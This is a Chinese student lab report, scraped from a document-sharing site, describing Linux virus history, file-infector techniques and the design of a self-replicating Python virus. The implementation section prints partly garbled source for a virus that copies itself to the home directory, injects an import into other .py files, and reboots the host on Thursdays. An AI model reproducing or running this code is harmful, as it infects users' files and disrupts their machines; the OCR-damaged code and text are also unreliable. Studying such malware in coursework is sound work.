用python寫的簡單病毒無害概要_第1頁
用python寫的簡單病毒無害概要_第2頁
用python寫的簡單病毒無害概要_第3頁
用python寫的簡單病毒無害概要_第4頁
用python寫的簡單病毒無害概要_第5頁
已閱讀5頁,還剩8頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領

文檔簡介

1、計算機病毒實驗報告姓名:郭莎莎學號:201306043023培養(yǎng)類型:技術(shù)類年級:2013 級專業(yè):信息安全所屬學院:計算機學院指導教員:龍軍職稱:教授實驗室:實驗日期:2016.7.3國防科學技術(shù)大學訓練部制本科實驗報告填寫說明1 學員完成人才培養(yǎng)方案和課程標準要所要求的每個實驗后,均須提 交實驗報告。2實驗報告封面必須打印,報告內(nèi)容可以手寫或打印。3實驗報告內(nèi)容編排及打印應符合以下要求:(1) 采用A4 (21cmK29.7cm)白色復印紙,單面黑字打印。上下左右 各側(cè)的頁邊距均為3cm;缺省文檔網(wǎng)格:字號為小4號,中文為宋體,英文 和阿拉伯數(shù)字為Times New Roman,每頁30行

2、,每行36字;頁腳距邊界為 2.5cm,頁碼置于頁腳、居中,采用小 5號阿拉伯數(shù)字從1開始連續(xù)編排, 圭寸面不編頁碼。(2) 報告正文最多可設四級標題,字體均為黑體,第一級標題字號為3號,其余各級標題為4號;標題序號第一級用 一、”、二、”,第二 級用“(一)”、“(二)”,第三級用“ 1、“2.,第四級用“(1) ”(2) ”,分別按序連續(xù)編排。(3) 正文插圖、表格中的文字字號均為 5號。實驗題目Python病毒功能實現(xiàn)目錄一、實驗目的4二、實驗內(nèi)容4三、實驗原理4(一)Linux 病毒41. Linux 病毒的發(fā)展史 42. Linux 平臺下的病毒分類 5(二)文件型病毒61. 感染C

3、OM文件:62 感染EXE文件:6(三)python 文件7四、實驗所需軟硬件8五、實驗步驟8(一)程序框架 81. 傳播感染模塊82. 備份模塊93. 觸發(fā)和破壞模塊9(二)具體實現(xiàn)9(三)結(jié)果截屏 11六、實驗結(jié)果與分析12七、思考與總結(jié)12、實驗目的了解和掌握計算機病毒的工作原理,編寫一個具有基本功能的計算機病 毒。二、實驗內(nèi)容編寫簡易Python病毒并實現(xiàn)一些基本功能 在宿主機上進行病毒測試三、實驗原理(一)Linux 病毒1. Linux病毒的發(fā)展史1996年的Staog是Linux系統(tǒng)下的第一個病毒,它出自澳大利亞一個叫 VLAD 的組織(Windows 95下的第一個病毒程序 B

4、oza也系該組織所為)。Staog病 毒是用匯編語言編寫,專門感染二進制文件,并通過三種方式去嘗試得到root權(quán)限。Staog病毒并不會對系統(tǒng)有什么實質(zhì)性的損壞。它應該算是一個演示 版。它向世人揭示了Linux可能被病毒感染的潛在危險。Linux系統(tǒng)上第二個被發(fā)現(xiàn)的病毒是 Bliss病毒,它是一個不小心被釋放出來的實驗性病毒。與 其它病毒不同的是,Bliss本身帶有免疫程序,只要在運行該程序時加上“ disinfect-files-please ”選項,即可恢復系統(tǒng)。2001年發(fā)現(xiàn)的Ramen蠕蟲。Ramen蠕蟲可以自動傳播,無需人工干預,所 以和1988年曾使人們大受其苦的Morris蠕蟲非

5、常相似。它只感染Red Hat6.2和7.0版使用匿名FTP服務的服務器,它通過兩個普通的漏洞RPC.statd和wu-FTP感染系統(tǒng)。表面看來,這不危險。它很容易被發(fā)現(xiàn),且不會對服務 器做出任何有破壞性的事情。但是當它開始掃描時,將消耗大量的網(wǎng)絡帶寬。從1996年至今,新的Linux病毒屈指可數(shù),這說明 Linux是一個健壯的具有 先天病毒免疫能力的操作系統(tǒng)。 當然,出現(xiàn)這種情況,除了其自身設計優(yōu)秀外, 還有其它的原因。然而,2001年3月,美國SANS學院的全球事故分析中心 (Global Incident Analysis CenterGIAC)發(fā)現(xiàn),一種新的針對使用Linux系統(tǒng)的計算

6、機的蠕蟲正通過互聯(lián)網(wǎng)迅速蔓延,它將有可能對用戶的電腦系統(tǒng)造成嚴重破壞。這種蠕蟲被命名為“獅子”病毒,與Ramen蠕蟲非常相似。但是,這種病毒的危險性更大,“獅子”病毒能通過電子郵件把一些密碼和配置文件發(fā)送到一個位于的域名上。攻擊者在把這些文件發(fā)回去之后就可以通過第一次 突破時的缺口再次進入整個系統(tǒng)。這就是它與Ramen蠕蟲的不同之處。隨著Klez病毒在Linux平臺上的傳染,微軟的操作系統(tǒng)不再是唯一易受病毒 攻擊的操作系統(tǒng)了。即使Linux和其他一些主流 UNIX平臺的用戶可能不是微 軟捆綁應用軟件的大用戶,不可能通過這些軟件造成病毒的泛濫,Linux和UNIX仍然有它們自身并不引人注目的脆弱

7、點。除了Klez以外,其他Linux/UNIX 平臺的主要威脅有:Lion.worm、OSF.8759 病毒、Slapper、Scalper、 Linux.Svat和BoxPoison病毒,這些都很少被提及。另外,越多的Linux系統(tǒng)連接到局域網(wǎng)和廣域網(wǎng),就會有越多受攻擊的可能, 這是因為很多Linux病毒正在快速地擴散著。使用 WINE的Linux/UNIX系統(tǒng)特別容易受到病毒的攻擊。WINE是一個公開源代碼的兼容軟件包,能讓Linux 平臺運行 Windows應用軟件。2. Linux平臺下的病毒分類可執(zhí)行文件型病毒可執(zhí)行文件型病毒是指能夠寄生在文件中的,以文件為主要感染對象的病毒。 病毒

8、制造者們無論使用什么武器,匯編或者C,要感染ELF文件都是輕而易舉的事情。這方面的病毒如Lin dose,當其發(fā)現(xiàn)一個ELF文件時,它將檢查被感染的機器類型是否為In tel 80386,如果是,則查找該文件中是否有一部分的大小大于2,784字節(jié)(或十六進制 AEO),如果滿足這些條件,病毒將用自身 代碼覆蓋它并添加宿主文件的相應部分的代碼,同時將宿主文件的入口點指向病毒代碼部分。蠕蟲(worm)1988年Morris蠕蟲爆發(fā)后,Eugene H. Spafford為了區(qū)分蠕蟲和病毒,給出 了蠕蟲的技術(shù)角度的定義,“計算機蠕蟲可以獨立運行,并能把自身的一個包 含所有功能的版本傳播到另外的計算機

9、上?!痹贚inux平臺下,蠕蟲極為猖獗,像利用系統(tǒng)漏洞進行傳播的ramen, lion , Slapper每一個都感染了大量的Linux系統(tǒng),造成了巨大的損失。在未來,這種蠕蟲仍然會愈演愈烈,Linux系統(tǒng)應用越廣泛,蠕蟲的傳播程度和破壞能力也會隨之增加。腳本病毒目前出現(xiàn)比較多的是使用shell腳本語言編寫的病毒。此類病毒編寫較為簡單,但破壞力同樣驚人。Linux系統(tǒng)中有許多的以.sh結(jié)尾的腳本文件,而一個短短 十數(shù)行的shell腳本就可以在短時間內(nèi)遍歷整個硬盤中的所有腳本文件,進行 感染。因此病毒制造者不需要具有很高深的知識,就可以輕易編寫出這樣的病毒,對系統(tǒng)進行破壞,其破壞性可以是刪除文件

10、,破壞系統(tǒng)正常運行,甚至下載一個木馬到系統(tǒng)中等等。后門程序:在廣義的病毒定義概念中,后門也已經(jīng)納入了病毒的范疇?;钴S在Windows系統(tǒng)中的后門這一入侵者的利器在Linux平臺下同樣極為活躍。 從增加系統(tǒng)超級用戶賬號的簡單后門,到利用系統(tǒng)服務加載,共享庫文件注射, rootkit工具包,甚至可裝載內(nèi)核模塊(LKM ), Linux平臺下的后門技術(shù)發(fā)展非常成熟,隱蔽性強,難以清除。(二)文件型病毒文件型病毒主要是感染可執(zhí)行文件( PE文件)的病毒,如 EXE , COM。病毒 對宿主文件進行修改, 把自身代碼添加到宿主文件上。 執(zhí)行宿主程序時,將會 先執(zhí)行病毒程序再執(zhí)行宿主程序1.感染COM文件

11、:對于COM文件,系統(tǒng)加載時在經(jīng)過一系列處理之后將全部文件讀入內(nèi)存,并把控制權(quán)交給該文件的第一條指令。如果該指令恰為病毒指令則病毒就會獲得 控制權(quán)。COM后綴帶毒文件有兩種結(jié)構(gòu):病毒主體在原文件之后。病毒通過修改原文件頭代之以一段程序(或簡單地用一條跳轉(zhuǎn)指令)指向后面病毒體,以后再恢復該處原指令。病毒整體在原文件之前。加載時病毒體直接獲得控制權(quán),不破壞原程序任 何部分。2.感染EXE文件:EXE后綴文件與COM后綴文件不同,有一特殊的“文件頭”結(jié)構(gòu),其中加載 了文件重定位信息等,而非可執(zhí)行指令。.rsic 龍(ext 業(yè)u I>LAtjt_SE<TJUN_Ht.ADEK:'

12、'.吒丈怦頭16 IMAGE, 1>ATA_DRECTOKY:附BIAGE_0Pn0NL_R£.WER?2: .!;札Ih仇GE_F1LE_HE ADERK 腳, o, oDos Srub城的不同節(jié)PENT現(xiàn)町選PE龍件茂頭DOS擔1;DOS MZ Z''-系統(tǒng)加載EXE后綴文件時根據(jù)文件頭信息定位文件并設置入口處的堆棧指針 和代碼指針等。病毒在傳染EXE后綴文件時一般將文件頭的代碼指針使之指向病毒入口,當系統(tǒng)加載時病毒首先獲得控制權(quán)。病毒要把自身復制到 EXE文件中,需要做的修改主要有:寫入一個新節(jié)(病毒的程序體)在節(jié)表中新加一個節(jié)頭修改PE文件頭的文

13、件表頭中的相應字段(如NumberOfSections)修改程序入口點地址其中修改程序入口點地址是十分關(guān)鍵的,它保證系統(tǒng)運行宿主文件時先執(zhí)行病毒程序。(三)python文件python的源代碼py文件在運行時都會被先編譯成字節(jié)碼,并把編譯的結(jié)果保存到PyCodeObject中,pyc文件即是把 PyCodeObject從內(nèi)存中以 marshal格式保存到文件后的結(jié)果。Python中定義的PyCodeObject的結(jié)構(gòu)typedef struct LPyObject HEADint co_argco unt;/* #argume nts, except *args */int co nl oca

14、ls;/* #local variables */int co_stacksize;/* #en tries n eeded for evaluatio n stack*/int co flags;/* CO ., see below */PyObject *co code;/* in struct ion opcodes */PyObject *co_c on sts;/* list (c on sta nts used) */PyObject *co names;/* list of strings (names used) */PyObject *co_var names; /* tup

15、le of stri ngs (local variable n ames) */PyObject *co freevars; /* tuple of strings (free variable names) */PyObject *co cellvars;/* tuple of strings (cell variable names) */* The rest does n't count for hash/cmp */PyObject *co file name; /* stri ng (where it was loaded from) */PyObject *co_ nam

16、e;/* stri ng (n ame, for refere nee) */int co firstlineno;/* first source line number */PyObject *co Inotab;/* string (encoding addr<->lineno mapping) SeeObjects/l no tab no tes.txt for details. */void *co_zombieframe;/* for optimizati on only (see frameobject.c) */PyObject *co_weakreflist; /*

17、 to support weakrefs to code objects */ PyCodeObject;其中一些字段的含義argcount:參數(shù)的個數(shù)nlocals :局部變量的個數(shù)(包含參數(shù)在內(nèi))stacksize:堆棧的大小flags:用來表示參數(shù)中是否有*args或者*kwargs code:字節(jié)碼names:全局變量,函數(shù),類,類的方法的名稱varnames:局部變量的名稱(包含參數(shù)) con sts: 個常量表pyc文件就是一個嵌套的PyCodeObject結(jié)構(gòu)的組合。對于每個函數(shù)或者類的方法,都會生成一個對應的PyCodeObject 結(jié)構(gòu)。所有的PyCodeObject都是通過

18、調(diào)用以下的函數(shù)得以運行的:PyObject * PyEval EvalFrameEx(PyFrameObject *f, int throwflag)它的作用是執(zhí)行中間碼,Python的代碼都是通過調(diào)用這個函數(shù)來運行的。通過上面的分析,我決定利用python代碼執(zhí)行的特性,用python寫一個Linux 下的文件型病毒”。四、實驗所需軟硬件操作系統(tǒng):ubu ntu16.04 LTS 虛擬機 軟件:Python2.7.11 +五、實驗步驟(一)程序框架我決定用python寫文件型病毒,是想既能體現(xiàn)文件型病毒的特點同時又不用 到底層去計算字節(jié)數(shù)。程序包括以下幾個模塊:1. 傳播感染模塊查找符號條件

19、的宿主文件,然后將自身添加到宿主文件中。在所蛤目錄下找到一個新的阿文件利用病毒的特殊標記判疇誼文件星否已被喊為了隱蔽自身,并不是把病毒自身全部拷貝到被感染文件中去,那樣的話用 戶很容易發(fā)現(xiàn)。我的做法是在一個隱蔽的位置創(chuàng)建病毒的一個備份,這樣, 當把病毒寫入宿主文件時,并不是顯式地寫入,而只需要通過import語句引用即可達到同樣的效果。2. 備份模塊備份文件我選擇放在 "/home/當前用戶”這個目錄下。因為在Linux的其他根 目錄下,如/usr、/bin,創(chuàng)建一個文件需要 root權(quán)限,而用戶一般情況下并不 會在root權(quán)限下運行,這就涉及到提權(quán)問題。目前還沒想到解決辦法,所以

20、暫時選擇了 “ /home/當前用戶”這個目錄。3. 觸發(fā)和破壞模塊日期觸發(fā)。在每個星期的星期四這一天,用戶執(zhí)行被感染的.py文件,破壞模塊就會執(zhí)行。系統(tǒng)重啟。攻擊模塊理論上說可以任意定制,但要注意的是,如果引用了 python的一些特殊模塊,受害者主機系統(tǒng)可能并沒有安裝,程序執(zhí)行時就會 出錯。(二)具體實現(xiàn)備份模塊user = getpass.getuser()virus_abs_path = T/home/r + user + T/simplepat-h = i弓.pat-h呂plit (filepath) 1file list = 亡i:s listdir (filepath£

21、口二 num in range(len (f ilelistJ |f ilename=f ilelist |numif 口呂.path zLssdli工自:g&t_and_chg_pyfilename ffilepath+ "Zn4-fil&name f tabntmi+1)= _L S if ilename = os - path, join (f ilepsthr f ilenjne) - filenamea endswith (Bk :and not is_infected (filename): infect(filename)usefulpath = pat

22、hrmplmum ( 11,1 / 1 if use fulpath + endswith (99/nj »usefulpath = usefulpath:1if net; os:path宕xiist且(u啟宕:Eulpath):return11£ not os * path i占dii: fu占ulp豈th):x* 啟 tu zrnelse:Hwf createbackup(:i f os.path.exists(virus_abs_path + 1 virus.py1): returndst = open(virus_abs_path + r virus * py1f

23、Tw')this - open (main*filet T'rrt)for line in this:dst,write(line)dst ” close()this . close (感染模塊filename +def infect(filename): os rename(filename#destination = open (filenamef "wge( t and chg p yf il&nante (use fulpath)觸發(fā)條件判斷和破壞功能source - ©pen (filename + TrBI, "r"1

24、)destination.wri(p #virusbyGSS_start n r)destination, write ( ' import os .path, sysn ' )destination .writ© ( " sys path ingoart (0f * ' + vi r u s_ ab s _pa th + 1 1 ) n ') destination.write(1 import virusn")for line in source:destination write(line)source close()de s

25、 t ina t i on.close() d&f is_infacted(filenameJ :os.remove(filename +f - ope n(f i1ename r "r")return f readlin© ().start swith (Bi#virusbyGSS_start daf find_and_infact_fils(path):1-e : qet_and_chq_p yf i 1 ename ( f ilepathjr tabnura=l);getweekday()= r Thursday 1 :r- subprocesssubprocess call ( * reboot.1 )(三)結(jié)果截屏病毒程序被用戶放在桌面的一個文件夾里gssubuntu:*/Desktop$ cd vv gssgubuntu:-/Desktop/vv$ Is virus pygssubuntu:M$ IsDesktopDownloadsMusicPublicVideosDocuments examples.desktop Pictures Templates g££$ubuntu:$gssubuntu:-/Desktops cat fib.pydef f():for i tn range(2,30):Lgj l

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論